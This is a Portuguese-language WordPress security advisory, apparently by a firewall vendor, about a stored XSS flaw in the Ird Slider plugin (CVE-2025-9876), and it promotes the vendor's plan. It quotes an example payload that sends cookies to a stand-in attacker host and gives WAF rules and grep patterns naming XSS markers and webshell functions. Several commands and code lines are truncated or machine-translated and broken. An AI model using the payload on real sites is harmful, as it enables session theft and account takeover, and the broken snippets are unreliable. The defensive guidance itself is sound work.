Nome do plugin	Ird Slider
Tipo de vulnerabilidade	XSS armazenado autenticado
Número CVE	CVE-2025-9876
Urgência	Baixo
Data de publicação do CVE	2025-10-03
URL de origem	CVE-2025-9876

Urgente: Ird Slider <= 1.0.2 — XSS armazenado por colaborador autenticado (CVE-2025-9876)

Resumo: Uma vulnerabilidade de Cross-Site Scripting (XSS) armazenada, que afeta versões do Ird Slider anteriores ou iguais a 1.0.2, permite que usuários com privilégios de Colaborador injetem JavaScript persistente que pode ser executado no contexto de outros usuários (incluindo administradores) e visitantes do site. A vulnerabilidade foi designada CVE-2025-9876. Até o momento da redação deste documento, o fornecedor não lançou uma correção oficial. Como equipe de segurança do WordPress que opera o WP-Firewall, detalhamos as técnicas, técnicas concretas de detecção, mitigações passo a passo (tanto de curto prazo quanto correções para desenvolvedores), exemplos de regras do WAF para proteção imediata e um checklist de resposta a incidentes.

Nota: Se você administra sites WordPress que usam o Ird Slider (versão 1.0.2 ou inferior), considere isso como de alta prioridade para revisão, mesmo que algumas avaliações públicas de risco o classifiquem como "baixo" — o impacto real depende muito de como o conteúdo do slider é renderizado e de quem pode visualizar as telas de administração do plugin.

---

Análise rápida de risco

• Software afetado: Plugin Ird Slider — vulnerável em versões <= 1.0.2
• Tipo de vulnerabilidade: Cross-Site Scripting armazenado (XSS persistente)
• Privilégio necessário para explorar: Colaborador (autenticado)
• CVE: CVE‑2025‑9876
• Status oficial do patch: Nenhum patch do fornecedor disponível no momento da publicação deste texto.
• Impactos típicos: roubo de sessão, apropriação indevida de conta de administrador, inserção/desfiguração de conteúdo, distribuição de malware, redirecionamento do site.

---

O que é XSS armazenado e por que um colaborador pode ser perigoso?

O XSS armazenado ocorre quando dados não confiáveis fornecidos por um atacante são armazenados no servidor (geralmente no banco de dados) e posteriormente exibidos a outros usuários sem o devido tratamento ou sanitização. Isso é particularmente perigoso quando o código malicioso armazenado é executado no contexto do navegador de usuários com privilégios elevados (por exemplo, editores ou administradores).

Um usuário Colaborador no WordPress pode criar conteúdo — ele pode não ter permissão para publicar posts, mas pode criar ou editar itens, dependendo das funcionalidades do plugin. Se um plugin permite a entrada de dados do Colaborador (por exemplo: título do slide, legenda, HTML, campos de URL) e armazena esses dados textualmente, um atacante com uma conta de Colaborador pode salvar um código malicioso. Quando um administrador ou visitante do site visualiza o slider (ou a tela administrativa que lista os itens do slider), o JavaScript é executado com os privilégios do visitante, o que pode levar à completa violação de segurança do site.

---

Visão geral técnica — provável causa raiz

Embora os detalhes de implementação interna do plugin possam variar, as causas principais comuns em casos de XSS armazenado são:

• Os dados inseridos por usuários autenticados não são higienizados no servidor (por exemplo, o plugin salva HTML ou JS brutos no banco de dados).
• A saída não é escapada quando renderizada (por exemplo, ao reproduzir campos brutos em modelos usando eco $título ou echo $caption).
• Falta de verificações de capacidade e ausência de nonces em ações administrativas.
• Se o plugin permitir HTML (para legendas ricas), ele não conseguirá usar listas de permissões estritas (wp_kses) e, em vez disso, escreve conteúdo não sanitizado no DOM.

Um fluxo vulnerável típico:

1. O colaborador cria/edita um item do controle deslizante e insere: <img src="x" onerror="fetch('https://attacker/p?c='+document.cookie)"/>.
2. O plugin armazena essa string em metadados ou em uma tabela personalizada.
3. Quando um administrador abre a tela de gerenciamento do slider, ou quando o slider é renderizado em uma página que os administradores podem carregar, o <img> A tag é inserida no DOM da página e seu onerror Execução do manipulador — executando JavaScript no navegador do administrador.

---

Cenários de exploração realistas

1. Assunção de controle administrativo por roubo de sessão
   Se os cookies de autenticação de administrador não estiverem protegidos pelos atributos httpOnly/secure ou se o site usar valores de cookies legíveis em JavaScript, um script na página poderá exfiltrar cookies de sessão para um endpoint controlado pelo atacante.
2. Persistência de scripts administrativos maliciosos
   O atacante pode adicionar scripts que criam usuários administradores adicionais (se o script conseguir acessar as APIs de administração), criar posts com acesso não autorizado ou modificar arquivos de tema/plugin por meio de chamadas AJAX enquanto o administrador estiver logado.
3. Distribuição de malware e envenenamento de SEO
   Injetar um redirecionamento ou iframe oculto que distribua malware ou spam para visitantes e mecanismos de busca.
4. Coleta de credenciais e phishing
   Exibir formulários administrativos falsos ou solicitar credenciais, enviando os dados submetidos ao atacante.
5. Cadeia de suprimentos e movimentação lateral
   Uma vez que uma sessão de administrador é controlada, os atacantes podem carregar plugins maliciosos ou modificar outros componentes do site para permanecerem ativos.

---

Por que o CVSS e a “prioridade” às vezes induzem ao erro

As pontuações CVSS públicas (e os rótulos de prioridade) são úteis, mas não capturam o contexto. Um XSS que exige um colaborador autenticado pode ter uma pontuação menor do que um XSS não autenticado. Na prática, a presença de contas de colaborador (muitos sites permitem cadastros ou colaboradores convidados) e a exposição da interface do usuário do plugin tornam isso perigoso. Trate qualquer XSS armazenado em um contexto de conteúdo/gerenciamento como de alto risco até que se prove o contrário.

---

Ações imediatas para proprietários de sites (o que fazer AGORA)

Se você acredita que seu site usa o Ird Slider versão <= 1.0.2:

1. Desative temporariamente o plugin.
   • Painel de controle: Plugins → desativar Ird Slider
   • Ou via WP‑CLI: plugin wp desativar ird-slider
2. Se a desativação não for possível, restrinja o acesso às páginas do plugin.
   • Limitar o acesso a wp-admin Por endereço IP ou bloqueando as páginas de administração do plugin através de regras do servidor.
3. Contas de Contribuidor de Auditoria
   • Remova ou suspenda contas não confiáveis; redefina as credenciais de quaisquer contas que você não tenha criado.
4. Pesquise no banco de dados por conteúdo suspeito.
   • Procurar <script, onerror=, onload=, javascript:, dados: URIs em tabelas de plugins relevantes ou em metadados de postagens.
   • Exemplos de SQL:

   -- Pesquisar em posts e postmeta: SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%

   • Pesquisa WP-CLI:

   Consulta ao banco de dados do WordPress "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%

5. Verifique os registros e as ações do administrador.
   • Procure por logins de administrador suspeitos, instalações de plugins ou edições de arquivos.
6. Alterne senhas e chaves.
   • Redefina as senhas de administrador e alterne os salts do WordPress (wp-config.php AUTH_KEYS) como medida de precaução.
7. Cópias de segurança
   • Faça um instantâneo/backup antes de efetuar alterações para facilitar a investigação.
8. Isolar locais comprometidos
   • Se houver suspeita de comprometimento (contas de administrador inesperadas, alterações inexplicáveis em arquivos), isole o site da rede ou entre em modo de manutenção.

---

Detecção: indicadores de comprometimento e varredura

• Atividade inesperada do usuário administrador (criação de posts, edição de temas/plugins).
• Usuários administradores desconhecidos com privilégios elevados.
• Arquivos localizados em /wp-content/uploads/ ou diretórios de plugins com conteúdo PHP (os arquivos de upload não devem conter PHP).
• Presença de tarefas agendadas desconhecidas (entradas WP‑Cron).
• Requisições de saída para domínios desconhecidos a partir do site.
• Visitantes que relataram redirecionamentos ou conteúdo injetado.

Verificações automatizadas:

• Buscar substrings de risco:

Consulta ao banco de dados do WordPress: "SELECT option_name FROM wp_options WHERE option_value LIKE '%onerror=%' OR option_value LIKE '%

• Procure na raiz da web possíveis webshells:

grep -R --include=*.php -n "eval(" /caminho/para/wordpress grep -R --include=*.php -n "base64_decode" /caminho/para/wordpress

---

Correção virtual de curto prazo: regras e exemplos do WAF

Se você não puder atualizar ou remover o plugin imediatamente, um WAF (firewall de aplicação web) pode bloquear tentativas de exploração. Abaixo estão exemplos de regras que você ou seu provedor de hospedagem podem usar — adapte-as cuidadosamente ao seu ambiente e teste para identificar falsos positivos.

Nota: As regras abaixo são ilustrativas (estilo ModSecurity). Teste primeiro em ambiente de teste.

• Tags de script de bloco em POSTs relacionados a sliders (básico):

SecRule REQUEST_URI "@contains ird-slider" "id:10001,phase:2,deny,status:403,msg:'IRD Slider XSS - bloquear tags de script',t:none,chain" SecRule ARGS|ARGS_NAMES|REQUEST_BODY "@rx <\s*script" "t:lowercase"

• Atributos de manipulador de eventos de bloqueio (onerror, onload, onclick) em corpos POST:

SecRule REQUEST_BODY "@rx on(error|load|click|mouseover|mouseenter|focus)\s*=" "id:10002,phase:2,deny,log,msg:'IRD Slider XSS - bloquear manipuladores de eventos',t:none"

• Bloco JavaScript: URIs e URIs de dados:

SecRule REQUEST_BODY "@rx javascript\s*:" "id:10003,phase:2,deny,log,msg:'IRD Slider XSS - bloquear javascript: URIs'" SecRule REQUEST_BODY "@rx data:text/html;base64" "id:10004,phase:2,deny,log,msg:'IRD Slider XSS - bloquear URIs de dados'"

• Padrão genérico para bloquear payloads JavaScript em base64:

SecRule REQUEST_BODY "@rx ([A-Za-z0-9+/]{100,}=*)" "id:10005,phase:2,deny,log,msg:'Possível payload codificado',t:none"

• Bloquear solicitações que contenham marcadores comuns de payload XSS quando provenientes de contas de Colaborador autenticadas (detecção baseada em cookies):

SecRule REQUEST_HEADERS:Cookie "@rx wordpress_logged_in_" "chain, id:10006,phase:2,pass,nolog" SecRule REQUEST_BODY "@rx (

Observações importantes sobre o projeto:

• As regras do WAF podem bloquear entradas HTML ricas legítimas (falsos positivos). Se o plugin permitisse HTML genuíno em legendas, você precisa ajustar as regras aos campos e endpoints específicos do plugin.
• Considere adicionar à lista de permissões os endereços IP de administradores confiáveis para as páginas de administração de plugins, mantendo o WAF ativo para os endpoints públicos.

---

Correções voltadas para desenvolvedores (como o plugin deve ser alterado)

Os autores de plugins devem aplicar uma estratégia de defesa em profundidade:

1. sanitização de entrada no servidor
   • Se os campos devem ser texto simples: use sanitizar_campo_de_texto() ou sanitize_textarea_field().
   • Se o HTML for limitado: use wp_kses() com uma lista de permissões rigorosa.

   Exemplo — salvando uma legenda que permite um número limitado de tags:

   $allowed_tags = array( 'a' => array('href'=>array(), 'title'=>array(), 'rel'=>array()), 'em' => array(), 'strong' => array(), 'br' => array(), 'span' => array('class'=>array()), ); $caption = isset($_POST['caption']) ? wp_kses( $_POST['caption'], $allowed_tags ) : ''; update_post_meta( $slider_item_id, '_caption', $caption );

2. Escapando a saída durante a renderização
   • Sempre escape da saída no último momento possível: esc_html(), esc_attr(), esc_url(), ou wp_kses_post() conforme apropriado.

   Exemplo — eco seguro:

   eco &#039;<h3 class="slide-title">&#039; . esc_html( $slide_title ) . &#039;</h3>&#039;; eco &#039;<div class="slide-caption">&#039; . wp_kses( $slide_caption, $allowed_tags ) . &#039;</div>';

3. Verificações de capacidade e nonces
   • Verificar as permissões do usuário para cada ação administrativa:

   if ( ! current_user_can( 'edit_posts' ) ) { wp_die( 'Permissões insuficientes' ); }

   • Usar verificar_referenciador_admin() Para validar números fictícios em formulários enviados.
4. Evite armazenar HTML não filtrado, a menos que seja absolutamente necessário.
   • Se você precisar permitir HTML arbitrário, restrinja-o a funções confiáveis (administrador/editor) e ainda assim aplique o código. wp_kses ou um analisador sintático mais rigoroso.
5. Utilize instruções preparadas para SQL e evite gravações diretas no banco de dados sem validação.
6. Registro
   • Adicionar registro de entradas suspeitas e verificações de capacidade com falha para auditorias futuras.
7. Testes unitários e fuzzing
   • Adicione casos de teste que simulem o salvamento e a renderização de payloads maliciosos para garantir que a capacidade de escapar continue sendo eficaz.

---

Exemplo de patch para um hipotético manipulador de salvamento.

Abaixo, segue um exemplo simplificado de como uma função de salvar deve higienizar as entradas:

function ird_slider_save_item() { if ( ! isset( $_POST['ird_slider_nonce'] ) || ! wp_verify_nonce( $_POST['ird_slider_nonce'], 'ird_slider_save' ) ) { wp_die( 'Falha na verificação do nonce' ); } if ( ! current_user_can( 'edit_posts' ) ) { wp_die( 'Permissões insuficientes' ); } $title = isset( $_POST['title'] ) ? sanitize_text_field( wp_unslash( $_POST['title'] ) ) : ''; $caption = isset( $_POST['caption'] ) ? wp_kses_post( wp_unslash( $_POST['caption'] ) ) : ''; $link = isset( $_POST['link'] ) ? esc_url_raw( wp_unslash( $_POST['link'] ) ) : ''; $data = array( 'title' => $title, 'caption' => $caption, 'link' => $link, ); // Salvar dados sanitizados no banco de dados... }

---

Lista de verificação pós-comprometimento e resposta a incidentes

Se você encontrar evidências de uma exploração bem-sucedida:

1. Preserve as evidências.
   • Faça um snapshot somente leitura do sistema de arquivos e do banco de dados para fins de análise forense.
2. Remover conteúdo malicioso
   • Remova os payloads dos itens do slider, das postagens e das opções. Utilize consultas de pesquisa criteriosas e revisão manual.
3. Rotacionar credenciais e segredos
   • Forçar a redefinição de senhas para todas as contas de administrador/editor; rotacionar as chaves da API e atualizar os salts do WordPress.
4. Verifique os mecanismos de persistência.
   • Inspecione plugins, temas e uploads em busca de webshells/backdoors e arquivos PHP inesperados.
5. Revogar sessões
   • Usar wp_destroy_current_session() ou alterar os sais para invalidar as sessões.
6. Restaurar a partir de um backup limpo, se disponível.
   • Se você tiver um backup limpo feito antes da invasão, restaure-o e verifique a integridade dos dados.
7. Realize uma verificação de segurança completa.
   • Analise o sistema de arquivos em busca de padrões de código malicioso (base64, eval, gzinflate, etc.) e tarefas agendadas desconhecidas.
8. Endurecer e monitorar
   • Aplique as medidas de mitigação para desenvolvedores e WAF mencionadas acima. Inicie o monitoramento contínuo e a agregação de logs para identificar atividades incomuns.
9. Divulgação aos stakeholders
   • Notifique os proprietários, administradores e, se necessário, os clientes do site assim que o controle da infecção estiver concluído.

---

Recomendações de endurecimento além deste problema

• Limitar as funções de usuário e praticar o princípio do menor privilégio (revisar as permissões de Colaborador).
• Remova plugins e temas não utilizados.
• Mantenha o núcleo do WordPress, os temas e os plugins atualizados.
• Implemente políticas de senhas fortes e autenticação de dois fatores (2FA) para contas com privilégios elevados.
• Utilize os cabeçalhos de segurança HTTP: Content-Security-Policy (CSP), X-Content-Type-Options, X-Frame-Options, Referrer-Policy.
• Configure os cookies com as flags Secure e HttpOnly e considere a opção SameSite.
• Analise regularmente o site (de forma automatizada e manual) em busca de indicadores de comprometimento.

---

Exemplo de Política de Segurança de Conteúdo para reduzir o impacto de XSS

Uma política de segurança de conteúdo (CSP) rigorosa pode reduzir o impacto de ataques XSS ao impedir scripts embutidos e limitar as fontes de script permitidas. Isso é uma medida defensiva e útil enquanto se aguarda uma correção, mas requer testes cuidadosos.

Exemplo de cabeçalho (comece de forma conservadora — teste primeiro):

Política de segurança de conteúdo: default-src 'self' https:; script-src 'self' 'nonce- '; object-src 'none'; base-uri 'self'; frame-ancestors 'none';

Observação: Adicionar CSP a um site WordPress dinâmico requer a geração de nonces e a atualização de scripts embutidos; portanto, considere o CSP como uma medida de segurança de médio prazo.

---

Divulgação responsável e coordenação de fornecedores

Se você é um pesquisador ou proprietário de site que descobriu a vulnerabilidade, entre em contato com o autor do plugin e forneça os passos para reproduzi-la, os payloads e as evidências. Se o fornecedor demorar a responder, considere prazos responsáveis para a divulgação e a proteção das evidências. Para proprietários de sites: apliquem as medidas de mitigação acima imediatamente — não esperem por uma correção do fornecedor.

---

Como o WP-Firewall pode te ajudar agora

Se você gerencia sites WordPress e deseja proteção imediata enquanto aguarda uma atualização do fornecedor, oferecemos regras de firewall gerenciadas, aplicação de patches virtuais e varredura contínua que ajudam a bloquear tentativas de exploração e detectar atividades suspeitas.

Comece com o plano gratuito do WP-Firewall — Proteção essencial para todos os sites WordPress.

Proteja seu site agora mesmo com nosso plano Básico (Gratuito), que inclui:

• Firewall gerenciado com regras personalizadas otimizadas para WordPress
• Largura de banda ilimitada e proteção WAF
• Scanner e detecção de malware
• Cobertura de mitigação para os 10 principais riscos da OWASP

Cadastre-se e ative a proteção rapidamente: https://my.wp-firewall.com/buy/wp-firewall-free-plan/

(Também oferecemos os planos Standard e Pro para remoção automática, listas negras/brancas, relatórios mensais, aplicação de patches virtuais e serviços de segurança gerenciados.)

---

Lista de verificação para desenvolvedores a fim de evitar vulnerabilidades semelhantes no futuro.

• Valide e higienize todas as entradas, mesmo as de usuários autenticados.
• Escape cada saída usando a função de escape adequada.
• Impor verificações de capacidade e nonces em todas as ações que alteram o estado do sistema.
• Evitar html não filtrado Utilização da capacidade, a menos que seja estritamente necessário.
• Usar wp_kses() com listas de permissões explícitas, caso o HTML seja aceito.
• Adicionar testes unitários e de integração que garantam que as ameaças XSS sejam neutralizadas antes da renderização.
• Considere realizar revisões ou auditorias de segurança no código que lida com conteúdo do usuário.

---

Considerações finais e cronograma recomendado para proprietários de sites

1. Imediato (horas): Desative o plugin ou bloqueie o acesso aos seus endpoints; suspenda contas de colaboradores suspeitos; aplique regras do WAF que bloqueiem payloads comuns.
2. Curto prazo (1 a 3 dias): Analisar e limpar o banco de dados e o sistema de arquivos; rotacionar as credenciais; validar a integridade do site.
3. A médio prazo (1 a 4 semanas): Entre em contato com o fornecedor do plugin para obter uma versão corrigida; aplique a correção permanente e atualize; habilite o CSP e o monitoramento contínuo.
4. A longo prazo: Adote o princípio do privilégio mínimo, varreduras programadas e proteções de perímetro gerenciadas.

O XSS armazenado é uma das classes de vulnerabilidades mais exploradas devido à sua persistência e à facilidade com que pode se alastrar. Se o seu site utiliza o Ird Slider (versão 1.0.2 ou inferior), considere isso como uma ação necessária. Siga os passos acima, proteja as sessões de administrador e implemente controles de perímetro enquanto aguarda uma correção do fornecedor.

---

Se desejar, podemos fornecer:

• Um conjunto de regras WAF personalizado e ajustado ao seu ambiente (em fase de teste e homologação).
• Um guia de limpeza passo a passo personalizado para o seu site, com SQL exato e caminhos de arquivos para inspeção.
• Auxílio na detecção de se um payload XSS armazenado já foi executado em seu ambiente administrativo.

Entre em contato com nossa equipe de suporte ou ative o plano WP‑Firewall Basic (gratuito) agora mesmo: https://my.wp-firewall.com/buy/wp-firewall-free-plan/